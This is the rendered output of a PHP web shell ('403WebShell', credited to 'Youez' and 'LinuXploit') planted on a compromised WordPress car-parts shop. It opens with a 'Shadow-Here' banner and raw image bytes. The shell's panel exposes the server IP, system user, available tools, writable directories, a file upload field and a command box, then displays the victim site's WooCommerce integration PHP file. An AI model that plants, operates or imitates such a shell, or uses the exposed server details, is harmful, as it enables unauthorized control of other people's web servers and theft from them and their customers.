....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 92.205.13.44  /  Your IP : 216.73.216.81
Web Server : Apache
System : Linux sxb1plzcpnl489958.prod.sxb1.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : assabzbu8efo ( 10079764)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/assabzbu8efo/public_html/autoteile/tocms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/assabzbu8efo/public_html/autoteile/tocms/WordPress.WC.php
<?VerifyAccess_x('WordPress');

//Lock WP chache folder
/* if(IsADMIN_x AND $_GET['LockWpCache']){
	//$_GET['LockWpCache'] = /page_enhanced/www.hibdeta.lt/carparts/
	$CacheFolder = $_GET['LockWpCache'];
	$CacheRoot = '/wp-content/cache'.$CacheFolder;
	$CachePath = $_SERVER['DOCUMENT_ROOT'].$CacheRoot;
	if(file_exists($CachePath)){
		if(CmDelTree($CachePath)){
			if(mkdir($CachePath, octdec("0500"), true)){
				echo 'Done!';
			}else{echo 'Error create folder [0500]: '.$CacheRoot;}
		}else{echo 'Error deleting: '.$CacheRoot;}
	}else{echo 'No folder: '.$CacheRoot;}
	die();
}
function CmDelTree($dir){
	$files = array_diff(scandir($dir), array('.','..')); 
	foreach ($files as $file){(is_dir("$dir/$file")) ? CmDelTree("$dir/$file") : unlink("$dir/$file");}
	return rmdir($dir); 
} */

//Header
require($_SERVER["DOCUMENT_ROOT"].'/wp-load.php');
//wp();

// WP Language
/* $WpLoc = get_locale();
$aWpLocCode = Array('lt_LT'=>'lt');
if(isset($aWpLocCode[$WpLoc]) AND $aWpLocCode[$WpLoc]!=LANG_x AND in_array($aWpLocCode[$WpLoc],$CPMod->arLangs)){
	$_SESSION['LANG_x'] = $aWpLocCode[$WpLoc];
	Redirect_x($_SERVER['REQUEST_URI']);
} */

// https://codex.wordpress.org/Roles_and_Capabilities
$WPUser = wp_get_current_user(); //echo '<br><pre>';print_r($WPUser);echo '</pre>';
if($WPUser->exists() AND is_array($CPMod->aUserGroups)){
	$ID = $WPUser->ID;
	$aCaps = $WPUser->caps;
	$aRoles = $WPUser->roles;
	foreach($CPMod->aUserGroups as $GpID=>$aGp){
		//by WP user ID
		if($aGp['CMS_UID']=='UserID_'.$ID AND $_SESSION['CM_USER_GROUP']!=$GpID){
			$_SESSION['CM_USER_GROUP'] = $GpID; 
			Redirect_x();
		}
		//by WP user Capabilities
		if(is_array($aCaps)){
			foreach($aCaps as $CapName=>$CapID){
				if($aGp['CMS_UID']=='CapsName_'.$CapName AND $_SESSION['CM_USER_GROUP']!=$GpID){
					$_SESSION['CM_USER_GROUP'] = $GpID; 
					Redirect_x();
				}
			}
		}
		//by WP user Roles
		if(is_array($aRoles)){
			foreach($aRoles as $RoleID=>$RoleName){
				if($aGp['CMS_UID']=='RoleName_'.$RoleName AND $_SESSION['CM_USER_GROUP']!=$GpID){
					$_SESSION['CM_USER_GROUP'] = $GpID; 
					Redirect_x();
				}
			}
		}
	}
}else{
	//Header('Location: /index.php/my-account/'); die();
}


global $woocommerce;


/* global $WOOCS;
$WpCurrIso = $WOOCS->get_woocommerce_currency();
if(isset($WpCurrIso) AND $WpCurrIso AND CURR_x!=$WpCurrIso){
	$_SESSION['CURR_x']=$WpCurrIso;
	Redirect_x($_SERVER['REQUEST_URI']);
} */

//Add to cart
if(defined('CM_ADD_TO_CART')){
	global $aCmCartErrors;
	$CartCategory = intval($CPMod->arSettings["CMS_DEFCATID"]);
	global $aCmAddCart;
	global $wpdb;
	DepositAdd:
	$PostName = 'id_'.$aCmAddCart['PriceNum']; // Not number, but text only
	//Find
	//$obWPPost = get_page_by_path($aCmAddCart['PriceNum'],'OBJECT','product');
	$obWPPost = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE post_type = 'product' AND post_status = 'publish' AND post_name = %s", $PostName) );
	if($obWPPost){
		$post_id = (int)$obWPPost->ID;
	}else{
		//Create POST
		$post_id = wp_insert_post(array(
			'post_author' => 1,
			'post_content' => $aCmAddCart['Name'],
			'post_status' => "publish",
			'post_title' => $aCmAddCart['Brand'].' '.$aCmAddCart['ArtNum'].' - '.$aCmAddCart['Name'],
			'post_name' => $PostName,
			'post_parent' => 0,
			//'post_status' => 'private',
			'comment_status' => 'open',
			'ping_status' => 'closed',
			'post_excerpt' => $aCmAddCart['Name'],
			//'guid' => 'http://'.$_SERVER['SERVER_NAME'].$aCmAddCart['URL'],
			'post_type' => "product",
		),$wp_error = true);
		if($post_id && ! is_wp_error($post_id)){
			$obWPPost = get_post($post_id);
			//Image
			if($aCmAddCart['Image']!=''){
				require_once(ABSPATH . 'wp-admin/includes/media.php');
				require_once(ABSPATH . 'wp-admin/includes/file.php');
				require_once(ABSPATH . 'wp-admin/includes/image.php');
				//Fix SSL check
				function DisableSSL($args){return false;} 
				add_filter('https_ssl_verify', 'DisableSSL', 10, 1);
				add_filter('https_local_ssl_verify', 'DisableSSL', 11, 1);
				$filename = media_sideload_image($aCmAddCart['Image'], $post_id, $aCmAddCart['Name'].' ('.$aCmAddCart['Brand'].' - '.$aCmAddCart['ArtNum'].')', 'src');
				$filename = str_replace(PROTOCOL_DOMAIN_x,$_SERVER['DOCUMENT_ROOT'],$filename);
				if(is_wp_error($filename)){
					$aCmCartErrors[] = 'Warning: cart product image failed to loading from:<br><a href="'.$aCmAddCart['Image'].'" target="_blank">'.$aCmAddCart['Image'].'</a><br>media_sideload_image() at /'.CM_DIR.'/WordPress.WC.php<br><b>'.$filename->get_error_message().'</b><br>/wp-admin/includes/media.php';
				}else{
					$wp_filetype = wp_check_filetype(basename($filename), null );
					$attachment = array(
						'post_mime_type' => $wp_filetype['type'],
						'post_title' => preg_replace('/\.[^.]+$/', '', basename($filename)),
						'post_content' => '',
						'post_status' => 'inherit'
					);
					$attach_id = wp_insert_attachment( $attachment, $filename, $post_id );
					$attach_data = wp_generate_attachment_metadata( $attach_id, $filename );
					wp_update_attachment_metadata( $attach_id,  $attach_data );
					add_post_meta($post_id, '_thumbnail_id', $attach_id, true);
				}
			}
			//Category
			if(intval($CartCategory)>0){
				wp_set_object_terms( $post_id, $CartCategory, 'product_cat' );
			}
			wp_set_object_terms($post_id, 'simple', 'product_type');
			wp_set_post_tags( $post_id, $aCmAddCart['Brand'], false);
			//Meta data
			update_post_meta( $post_id, '_visibility', 'visible' ); //hidden
			update_post_meta( $post_id, 'total_sales', '0');
			update_post_meta( $post_id, '_downloadable', 'no');
			update_post_meta( $post_id, '_virtual', 'no');
			update_post_meta( $post_id, '_sale_price', "" );
			update_post_meta( $post_id, '_purchase_note', "" );
			update_post_meta( $post_id, '_featured', "no" );
			//Weight
			if($aCmAddCart['WeightGr']){
				//From product card
				update_post_meta( $post_id, '_weight', ($aCmAddCart['WeightGr']/1000) ); 
			}else{
				//From product price option
				if( $aCmAddCart['Options']['Weight_kg'] ){
					$wp_weight = ($aCmAddCart['Options']['Weight_kg']['Text']/1000);
					update_post_meta( $post_id, '_weight', $wp_weight );
				}
				if( $aCmAddCart['Options']['Weight_gr'] ){
					$wp_weight = ($aCmAddCart['Options']['Weight_gr']['Text']);
					update_post_meta( $post_id, '_weight', $wp_weight );
				}
			}
			update_post_meta( $post_id, '_length', "" );
			update_post_meta( $post_id, '_width', "" );
			update_post_meta( $post_id, '_height', "" );
			update_post_meta( $post_id, '_sku', $aCmAddCart['URL'] ); //$aCmAddCart['Brand'].' '.$aCmAddCart['ArtNum']
			//Attributes
			update_post_meta( $post_id, '_product_attributes', array(
				0 => array ('name'=>'Supplier', 'value'=>$aCmAddCart['Supplier_stock'], 'position'=>1, 'is_visible'=>0, 'is_variation'=>1, 'is_taxonomy'=>0),
				1 => array ('name'=>'Delivery', 'value'=>$aCmAddCart['Delivery_view'], 'position'=>2, 'is_visible'=>1, 'is_variation'=>1, 'is_taxonomy'=>0),
				2 => array ('name'=>'Availability', 'value'=>$aCmAddCart['Available_view'], 'position'=>3, 'is_visible'=>1, 'is_variation'=>1, 'is_taxonomy'=>0),
				4 => array ('name'=>'SrcPrice', 'value'=>$aCmAddCart['Source'], 'position'=>4, 'is_visible'=>0, 'is_variation'=>1, 'is_taxonomy'=>0),
			));
			update_post_meta( $post_id, '_sale_price_dates_from', "" );
			update_post_meta( $post_id, '_sale_price_dates_to', "" );
			
			update_post_meta( $post_id, '_sold_individually', "" );
			update_post_meta( $post_id, '_backorders', "no" );
			if($aCmAddCart['Available_num']>0){$WP_manage_stock = 'yes';}else{$WP_manage_stock = 'no';}
			update_post_meta( $post_id, '_manage_stock', $WP_manage_stock );
			update_post_meta( $post_id, '_stock_status', 'instock');
			update_post_meta( $post_id, '_stock', $aCmAddCart['Available_num'] );
		}
	}
	
	//Add to cart
	if($post_id>0){
		update_post_meta( $post_id, '_price', $aCmAddCart['Price']);
		update_post_meta( $post_id, '_regular_price', $aCmAddCart['Price']);
		
		/*if(!is_user_logged_in()){ // ���� �� �������������� 		woocommerce_cart_hash 		woocommerce_items_in_cart 		wp_woocommerce_session
			// Hook after add to cart
			add_action( 'woocommerce_add_to_cart' , function(){
				if( WC()->cart->is_empty() ) return;
				wc_setcookie( 'woocommerce_items_in_cart', 1 );
				wc_setcookie( 'woocommerce_cart_hash', md5( json_encode( WC()->cart->get_cart_for_session() ) ) ); //wc_setcookie( 'woocommerce_cart_hash', md5( json_encode( WC()->cart->get_cart() ) ) );
				do_action( 'woocommerce_set_cart_cookies', true );
			});
		}*/
		//if(!is_user_logged_in()) WC()->cart->set_cart_cookies( true );
		//WC()->cart->maybe_set_cart_cookies();
		
		//if($_COOKIE['woocommerce_items_in_cart']==''){setcookie("woocommerce_items_in_cart",'1',time()+60*60*24*30,'/');}
		//if($_COOKIE['woocommerce_cart_hash']==''){setcookie("woocommerce_cart_hash", md5(json_encode(WC()->cart->get_cart_for_session())), time()+60*60*24*30, '/');}
		
		do_action( 'woocommerce_set_cart_cookies', TRUE );
		//WC()->cart->set_cart_cookies(true);
		$WooCID = WC()->cart->add_to_cart( $post_id, $aCmAddCart['Quantity']);
		
		
		$GLOBALS['tdm_add_to_cart__notices'] = '';
		if( $notices = wc_get_notices() ){
			foreach( $notices as $note ){
				$GLOBALS['tdm_add_to_cart__notices'] .= '<div style="margin:1em 0; padding:1em; background:#eee;">������� �� ������: <a href="'. esc_url($obWPPost->guid) .'">'. esc_html( $obWPPost->post_type ) .'</a>: '. $note[0] .'</div>';
			}
		}
	}
	
	//Deposit
	if(isset($aCmAddCart['Options']['Deposit']['Text']) AND $aCmAddCart['Options']['Deposit']['Text']!=''){
		$Deposit = floatval($aCmAddCart['Options']['Deposit']['Text']);
		$aCmAddCart['Price'] = $Deposit;
		$aCmAddCart['Options'] = Array();
		$aCmAddCart['Name'] = $aCmAddCart['Name'].' (Deposit)';
		$aCmAddCart['PriceNum'] = $aCmAddCart['PriceNum'].'_Deposit';
		$aCmAddCart['Image'] = '';
		$aCmAddCart['WeightGr'] = '';
		$aCmAddCart['Available_num'] = 99;
		$aCmAddCart['Quantity'] = 1;
		goto DepositAdd;
	}
	
}

if(!defined('CM_INDEX_INCLUDED')){
	AxajAddCartDOM(); //Show only Cart div if AddCart action was run
	get_header();
}

if(!defined('CM_ADD_TO_CART')){
	
	?><div style="width:100%; grid-area:breadcrumbs;"><?
	echo $CarMod_Content;
	?></div><?
}

if(!defined('CM_INDEX_INCLUDED')){
	//Footer
	get_footer();
	AxajAddCartDOM();
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit